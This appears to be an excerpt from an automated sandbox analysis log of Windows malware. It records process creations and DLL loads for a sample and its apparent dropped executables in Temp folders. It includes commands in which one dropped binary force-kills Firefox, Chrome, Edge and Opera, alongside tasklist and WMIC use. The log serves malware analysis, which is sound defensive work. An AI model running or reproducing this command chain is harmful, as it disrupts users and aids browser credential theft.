Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2192 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {393e729a-11a2-4646-ac3b-aeb91fc0d01a} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1177876bd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4396 -parentBuildID 20230927232528 -prefsHandle 4388 -prefMapHandle 4384 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcff1d1b-3b14-4d89-bd67-a8febfb9574e} 2140 "\\.\pipe\gecko-crash-server-pipe.2140" 1170a9fb510 rdd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2156,i,16863835686114324925,18332772798998799827,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEBGCBAFCGD.exe "C:\Users\user\DocumentsEBGCBAFCGD.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
